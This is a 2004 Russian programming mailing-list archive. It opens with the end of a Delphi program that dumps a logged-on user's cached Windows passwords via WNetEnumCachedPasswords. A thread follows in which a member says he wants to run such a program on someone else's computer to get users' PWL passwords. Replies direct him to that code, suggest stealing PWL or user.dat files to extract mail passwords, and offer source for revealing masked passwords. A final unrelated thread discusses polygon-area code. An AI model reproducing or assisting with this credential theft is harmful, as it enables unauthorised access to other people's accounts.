CharToOem(PC, PC);
Password := Password + ': ' + StrPas(PC);

Form1.ListBox.Items.Add(Password);
Result := True;
end;

procedure TForm1.Label1Click(Sender: TObject);
begin
ShellExecute(GetDesktopWindow, 'open', 'http://www.utilmind.com', nil, nil,
0);
end;

procedure TForm1.FormShow(Sender: TObject);
begin
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.MessageBox('Can''t load passwords: User is not logon.', 'Error',
mb_Ok or mb_IconWarning);
Application.Terminate;
end
else
if Count = 0 then
ListBox.Items.Add('No passwords found...');
end;

end.
==Конец==

Ответить   Томилов Александр Wed, 25 Feb 2004 16:12:07 +0500 (#88819)

 

Привет!

Ну вот, что переводчик перевёл =( Как это использовать-то? Объясни
пожалуйста по-русски. Надо сделать как можно быстрее... очень многое зависит
от того, научусь ли я это делать. Очень прошу помочь!

Функция FindWindowEx восстанавливает пароль пользователя и показывает на
Специальное окно. Для большего количества информации см. GetUserPasswordEx.

DWORD GetUserPassword (
LPCTSTR lpUserLogin, // указатель на зарегистрированного пользователя
login
LPCTSTR lpExplanation, // указатель на вереницу(нить) объяснения
// Где Вы объясняете системе
// Для того, что Вы нуждались в этом пароле
LPCTSTR lpWindowTitle, // указатель на право(название) окна
Int x, // горизонтальное положение(позиция) окна
Int y, // вертикальное положение(позиция) окна
Int nWidth, // ширина окна
Int nHeight, // высота окна
HWND hWndParent, // обращается окну владельца или родителю
)
Параметры
Значение Стиля
LpUserLogin Указывает на законченную пустой указателем вереницу(нить),
которая определяет
Зарегистрированный пользователь login.
LpExplanation Указывает на законченную пустой указателем вереницу(нить),
которая определяет
Ваш, чтобы объяснить (возможный на вашем собственном языке -
потребность
Соединитесь с интернетом) к системе для того, что Вы нуждались
в этом
Пароль. Если окна будут подозревать, что Вы лежите доступ к
От пароля будут отказываться.
LpWindowTitle Указывает на законченную пустой указателем вереницу(нить),
которая определяет
Право(название) окна.
X Определяет начальное горизонтальное положение(позицию) окна. Для больше
Информация видит CreateWindow.
Y Определяет начальное вертикальное положение(позицию) окна. Для больше
Информация видит CreateWindow.
NWidth Определяет ширину, в единицах устройства, окна. Для больше
Информация видит CreateWindow.
NHeight Определяет высоту, в единицах устройства, окна. Для больше
Информация видит CreateWindow.
HWndParent Опознает родителя или окно владельца создаваемого окна.
Имеющая силу ручка окна должна быть снабжена когда детское окно
или
Находящееся в собственности окно создано. Детское окно
ограничено(заключено) клиенту
Область
Из его родительского окна. Находящееся в собственности окно -
перекрытое окно это

Разрушенный, когда его окно владельца разрушено или скрыт когда
его владелец

Минимизированный; это всегда показывается на вершине его окна
владельца. Хотя
Это
Параметр должен определить имеющую силу ручку, если dwStyle
параметр включает

WS_CHILD стиль, необязательно, если dwStyle включает WS_POPUP
стиль.

Ценности Возвращения

Если функция преуспевает, ценность возвращения - ручка к
Окно пароля.
Если функция терпит неудачу, ценность возвращения нулевая. Добраться
Расширенная(продленная) информация ошибки, вызовите(назовите) GetLastError.

См. Также

GetUserPasswordEx, UseAdminRights, UseSystemRights, ShowBugsWinBuild

Пока!
С уважением Lakmus
http://www.nvkz.kuzbass.net/lakmus
Номер выпуска : 2203
Возраст листа : 157 (дней)
Количество подписчиков : 387
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/88823
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   Wed, 25 Feb 2004 18:54:27 +0700 (#88823)

 

Здравствуйте.

Ты забыл LOL перевести... :)

Хотя думаю, дело тут не в переводчике...

Ответить   Болюба Георгий Wed, 25 Feb 2004 15:24:24 +0300 (#88858)

 

Здарова, Болюба Георгий!

25 февраля 2004 г., среда, 17:24:24, ты намылил:

Может просто у Lakmusa такая трабла что все чувство юмора отбило
нахрен.

Кстати кто-нить напомните: в PWL ведь пароль от инета храниться?
Запамятовал ;)

2Lakmus
Ты объясни поподробнее ситуацию:
а) Ты спер pwl и хочешь дома получить пароль
б) Ты хочешь узнать пароль юзая тот комп где PWL
в) Ты хочешь НАУЧИТЬСЯ ПРОГРАММНО спирать пароли у залогиненного юзверя (этот
способ я и кинул в лист)
г) Ты хочешь НАУЧИТЬСЯ ПРОГРАММНО вытаскивать из PWL пароли.

По пункту а) и б) могу посоветовать поискать спец проги
Пункт в) я кинул в лист
Пункт г) - Поищи исходники прог из пункта а)
Кстати, если ты спер PWL то можно попробовать его подсунуть своему
виндовозу, предварительно создав юзверя с логином = имя файла pwl а
далее пункт в)

Ответить   Томилов Александр Wed, 25 Feb 2004 20:59:54 +0500 (#89108)

 

Здавствуй !
Есть исходники, вскрывают пароли (звездочки) в любом окне ctrl + левый клик.
Если кому надо, давайте свое мыло.

С уважением
janal***@n*****.ru
http://janalex.narod.ru
Номер выпуска : 2211
Возраст листа : 157 (дней)
Количество подписчиков : 387
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/89007
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   Wed, 25 Feb 2004 20:32:00 +0600 (#89007)

 

Тема: Re[4]: PWL [Delphi5/6] [Win98]

А если звездочек нет? :))
С уважением,
Борис Сурин, surin_***@m*****.ru
Номер выпуска : 2215
Возраст листа : 157 (дней)
Количество подписчиков : 387
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/89027
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   Wed, 25 Feb 2004 17:54:43 +0300 (#89027)

 

Тогда ой! ))
С уважением
janal***@n*****.ru
http://janalex.narod.ru

клик.

Возраст листа : 157 (дней)
Количество подписчиков : 387
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/89111
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   Wed, 25 Feb 2004 22:24:44 +0600 (#89111)

 

Здравствуйте Lakmus,

Wednesday, February 25, 2004, 1:54:27 PM, вы писали:

А какую цель ты преследуешь?
Если заиметь пароли/конфединциальную инфу, то не проще ли пойти по
другому пути:
как известно, реестр состоит из двух файлов - user.dat и system.dat.
В system.dat хранятся данные об установленном оборудовании,
конфигурации компьютера.
В файле user.dat хранятся все установки пользователя, касающиеся
режимов Windows, интернета, локальной сети и т.д.
Так вот, в нем хранятся пароли от почты(Outlook Express) и т.д.
Так не проще ли стянуть этот самый user.dat?

p.s. Все вышесказанное опробованно в Вин98.

Ответить   Thu, 26 Feb 2004 13:27:26 +0200 (#89932)

 

Здравствуйте.

Не поймите меня не правильно, но не кажется ли вам, что этот лист о
программировании и объяснять как "заиметь пароли/конфединциальную
инфу" не совсем по теме листа (мягко говоря)?

Подчеркиваю, я не имею ввиду ни моральные, ни этические аспекты вашего
поста, а лишь говорю о том, что это, на мой взгляд, оффтоп.

Ответить   Болюба Георгий Thu, 26 Feb 2004 15:11:22 +0300 (#89949)

 

Здравствуйте Болюба,

Thursday, February 26, 2004, 2:11:22 PM, вы писали:

Вы прочитали мой пост полностью????
Причем здесь Я? Я просто ответил на вопрос Lakmus'а.
Совет: прежде чем говорить, прочитайте весь тред.

Ответить   Thu, 26 Feb 2004 14:23:41 +0200 (#90264)

 

Здравствуйте, keel.

Да

Ваш пост с темой "Re[4]: PWL [Delphi5/6] [Win98]" от 26 февраля, по
поводу которого я написал не содержит ни единого слова, касающегося
программирования.

Пожалуйста, из вашего поста, который я прочел полностью, процитируйте
хотя бы два слова, которые можно отнести к программированию.

Понятия не имею, что такое тред.

Ответить   Болюба Георгий Fri, 27 Feb 2004 11:46:52 +0300 (#90704)

 

Здарова, Болюба Георгий!

27 февраля 2004 г., пятница, 13:46:52 (GMT+05:00), ты намылил:

Оставим это модератору

Тред = нить = сообщения на одну тему = в Bate ctrl+1 и увидишь что
такое тред (ctrl+0 - отключение в норм режим).

Ответить   Томилов Александр Fri, 27 Feb 2004 15:06:28 +0500 (#90840)

 

Привет KeeL!

Мне нужно придти на чужой комп, написать на том компе прогу на Delphi и с
помощью неё узнать pwl юзеров.
Пока!
С уважением Lakmus
http://www.nvkz.kuzbass.net/lakmus
Номер выпуска : 2256
Возраст листа : 159 (дней)
Количество подписчиков : 390
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/90485
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   Fri, 27 Feb 2004 06:22:46 +0700 (#90485)

 

Здарова, Lakmus!

27 февраля 2004 г., пятница, 04:22:46 (GMT+05:00), ты намылил:

Ну, дык, юзай код который я послал в лист:

From Томилов Александр <astero***@p*****.ru>
Subject Re[3]: PWL [Delphi5/6] [Win98]

Написано 25 февраля.

Ответить   Томилов Александр Fri, 27 Feb 2004 15:03:42 +0500 (#90841)

 

ДА не надо ничего раскулачивать.
Так считать надо. Через формулу площади.

Да по барабану, хоть изображние паровоза, лишь бы линиине
пересекались.

Вот, вот, зачем нам такие эээээ штуки?

И этого нам не надо

Производственная необходимость

В наше время из любви к искусству, дорогой товарищ, мало что делается.

Педагоичнее доказать что я не прав или прав потому-то и потому-то.

Угу, угу.

Оно конечно военно-производственное, но чем решать "в лоб", я лучше
гору обойду, и шишек себе не набью.

Ну.. серьезные люди решают проблему серьезно, а мы уж так, на коленке.
Лишь бы быстро и правильно работало.

Дедка mailto:geg***@y*****.ru

Ответить   Tue, 24 Feb 2004 02:38:34 +0300 (#87624)

 

Hello Дедка,

Friday, February 20, 2004, 12:25:34 AM, you wrote:

//// функция возвращает площадь, ограниченную контуром
// обход = против часовой стрелки
double CContoursBlocks::SqC(int nC)
{
double s=0;

for (int i=0; i<C.N; i++)
{
CVertex S=C[i]);
CVertex F=С[i+1];
s+=S.x*F.y-S.y*F.x;
}
return -s/2;
}

здесь
CVertex F=С[i+1];
весьма условно (для упрощения),
поскольку при i=N-1
i+1 должно быть равно нулю -
"точка, следующая за последней есть первая"

формула взята из
"Компьютерной Графики - Полигональные Модели"
Шикина, Борескова

Ответить   Ivan Wed, 25 Feb 2004 22:08:17 +0300 (#89506)

 

В общем вот что вышло.
Работает как часы;
Выдрал из проекта, если кому надо, можно и отдельно

// pointArray типа CArray<CPoint, CPoint>

int Sq = 0;
for (int j = 0; j < infConturArray[ iNumContur ].pointArray.GetSize();
j++)
{
Arr.Add(infConturArray[ iNumContur ].pointArray[i]);

CPoint vec1 = infConturArray[ iNumContur ].pointArray[0] - infConturArray[
iNumContur ].pointArray[j];
CPoint vec2 = infConturArray[ iNumContur ].pointArray[0]- infConturArray[
iNumContur ].pointArray[j+1];

Sq += vec1.x * vec2.y - vec1.y * vec2.x;
}
Sq = abs(Sq / 2);
Дедка mailto:geg***@y*****.ru

Ответить   Wed, 25 Feb 2004 14:15:34 +0300 (#89551)